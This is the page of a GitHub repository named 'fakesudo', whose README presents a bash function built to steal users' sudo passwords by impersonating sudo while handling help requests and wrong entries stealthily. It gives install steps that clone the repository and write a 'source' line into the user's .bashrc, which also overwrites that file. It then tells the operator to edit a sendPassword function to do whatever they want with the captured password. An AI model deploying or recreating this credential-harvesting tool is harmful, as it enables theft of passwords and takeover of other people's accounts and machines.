Steal users password with a fake sudo function.
Clone or download
Latest commit e9e0f9e Jan 14, 2019
Permalink
Type Name Latest commit message Commit time
Failed to load latest commit information.
README.md first commit Jan 10, 2019
fakesudo.sh support to zsh Jan 14, 2019

README.md

fsudo

It's just a bash function to steal the users password, while trying to be stealth handling scenarios like the user asking for the sudo help or the user giving the wrong password among other scenarios.

Install

git clone https://github.com/mthbernardes/fakesudo.git
cd fakesudo
echo "source `pwd`/fakesudo.sh" > /home/$USER/.bashrc

Get the password

Just edit the function sendPassword to do whatever you want with the password.